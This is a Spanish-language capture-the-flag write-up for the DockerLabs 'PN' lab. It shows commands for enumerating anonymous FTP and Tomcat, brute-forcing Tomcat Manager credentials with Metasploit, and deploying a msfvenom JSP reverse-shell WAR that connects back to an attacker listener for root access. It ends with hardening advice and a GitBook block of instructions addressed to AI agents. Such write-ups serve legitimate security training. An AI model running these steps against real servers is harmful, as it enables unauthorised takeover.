> For the complete documentation index, see [llms.txt](https://itskode.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itskode.gitbook.io/pentesting/dockerlabs/facil/pn.md).

# -PN

## Introduccion

En este laboratorio de DockerLabs se compromete una maquina Linux que expone FTP anonimo y Apache Tomcat en el puerto 8080.

La cadena de explotacion empieza con la enumeracion de FTP, donde aparece un archivo `tomcat.txt` con una pista clara sobre el servicio Tomcat. A partir de ahi, se enumeran rutas web, se identifica el panel `/manager/html` y se prueban credenciales comunes hasta acceder como `tomcat`. Con acceso al Tomcat Manager, se despliega un archivo WAR malicioso generado con `msfvenom` y se obtiene una reverse shell directamente como `root`.

***

## Reconocimiento

Se realiza un escaneo de versiones con Nmap:

```bash
nmap -sVCS -Pn -n -T4 172.17.0.2
```

![Nmap](/files/IY2krbslne9LU4rqfTRG)

El escaneo muestra dos puertos abiertos:

| Puerto   | Servicio | Version              |
| -------- | -------- | -------------------- |
| 21/tcp   | FTP      | vsftpd 3.0.5         |
| 8080/tcp | HTTP     | Apache Tomcat 9.0.88 |

Nmap tambien detecta que el FTP permite acceso anonimo y lista un archivo interesante:

```
tomcat.txt
```

***

## Enumeracion FTP

Se accede al FTP como usuario `anonymous`:

```bash
ftp 172.17.0.2
```

![FTP anonymous](/files/17OIKsuvzDh6SgxfpgFo)

El login anonimo funciona correctamente. Se lista el contenido y se descarga el archivo `tomcat.txt`:

```bash
ls
get tomcat.txt
```

Al leer el archivo, aparece una pista relacionada con Tomcat:

```bash
cat tomcat.txt
```

![tomcat.txt](/files/njA987A23VeLtokQrFOB)

Contenido:

```
Hello tomcat, can you configure the tomcat server? I lost the password...
```

La pista apunta al usuario `tomcat` y a un posible problema de credenciales en el panel de administracion.

***

## Enumeracion web

Al acceder al puerto 8080 aparece la pagina por defecto de Apache Tomcat:

```
http://172.17.0.2:8080
```

![Tomcat](/files/S4IDImVvXmOdU0LMpuVb)

Se realiza fuerza bruta de directorios con Gobuster:

```bash
gobuster dir -u http://172.17.0.2:8080/ \
  -w /usr/share/seclists/Discovery/Web-Content/common.txt \
  -x html,zip,php,txt,bak,sh,asp,aspx \
  -b 404 -t 60
```

![Gobuster](/files/VBaYBMI7K9o4nVvVbnRx)

Aparecen varias rutas propias de Tomcat:

| Ruta             | Codigo | Comentario              |
| ---------------- | ------ | ----------------------- |
| `/docs/`         | 302    | Documentacion de Tomcat |
| `/examples/`     | 302    | Aplicaciones de ejemplo |
| `/host-manager/` | 302    | Panel Host Manager      |
| `/manager/`      | 302    | Panel Manager           |

La ruta mas interesante es `/manager/html`, ya que permite desplegar aplicaciones WAR si se tienen credenciales validas.

***

## Credenciales de Tomcat Manager

Se utiliza el modulo auxiliar de Metasploit para probar credenciales contra Tomcat Manager:

```
use auxiliary/scanner/http/tomcat_mgr_login
set PASS_FILE credenciales.txt
set USER_FILE credenciales.txt
set RHOSTS 172.17.0.2
run
```

![Metasploit tomcat\_mgr\_login](/files/X9Y7L3KsOiiFYmlxZa2O)

El modulo encuentra credenciales validas:

```
tomcat:s3cr3t
```

Con esas credenciales se accede al manager:

```
http://172.17.0.2:8080/manager/html
```

![Tomcat Manager](/files/lo3M5aEaaLfVdvoxY3Lh)

El panel permite desplegar nuevas aplicaciones, por lo que se puede subir una reverse shell empaquetada como WAR.

***

## Generacion del WAR malicioso

Se prepara una reverse shell JSP con `msfvenom`:

![Referencia msfvenom](/files/2eKA1QLZiFmwLDXyy7FQ)

Comando utilizado:

```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=172.17.0.1 LPORT=4444 -f war -o revshell.war
```

![msfvenom](/files/IWd0J3HK6uxuGYWtH2wO)

Antes de ejecutar la aplicacion desplegada, se deja Netcat escuchando:

```bash
nc -lvnp 4444
```

***

## Despliegue y reverse shell

Desde Tomcat Manager se sube el archivo `revshell.war`. Tras el despliegue aparece una nueva aplicacion en la ruta `/revshell`:

![WAR desplegado](/files/Aar3D3BIUcKyQQOYAGGy)

Al acceder a la aplicacion desplegada, se ejecuta el payload y llega la conexion inversa:

```
http://172.17.0.2:8080/revshell/
```

![Root shell](/files/BfP0uWAmsgRHou5Um1eu)

Se confirma el usuario actual:

```bash
whoami
```

```
root
```

El servicio Tomcat se estaba ejecutando con privilegios de `root`, por lo que el acceso inicial ya compromete completamente la maquina.

***

## Conclusion

-PN es una maquina directa y muy util para practicar abuso de Tomcat Manager. La explotacion nace de dos malas practicas encadenadas: credenciales debiles para un panel de administracion y ejecucion del servicio Tomcat con privilegios excesivos.

### Puntos clave

* Nmap detecto FTP anonimo y Apache Tomcat 9.0.88.
* El FTP contenia `tomcat.txt` con una pista hacia el usuario `tomcat`.
* Gobuster descubrio rutas administrativas como `/manager/` y `/host-manager/`.
* Se encontraron credenciales validas para Tomcat Manager: `tomcat:s3cr3t`.
* Con acceso al manager se desplego un WAR malicioso generado con `msfvenom`.
* La reverse shell llego directamente como `root`.

### Recomendaciones

* Deshabilitar acceso anonimo en FTP si no es imprescindible.
* No dejar pistas operativas ni archivos sensibles en servicios expuestos.
* Cambiar credenciales por defecto o debiles en Tomcat Manager.
* Restringir `/manager/html` por red, VPN o autenticacion robusta.
* Ejecutar Tomcat con un usuario sin privilegios, nunca como `root`.
* Monitorizar despliegues de aplicaciones WAR no autorizadas.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://itskode.gitbook.io/pentesting/dockerlabs/facil/pn.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
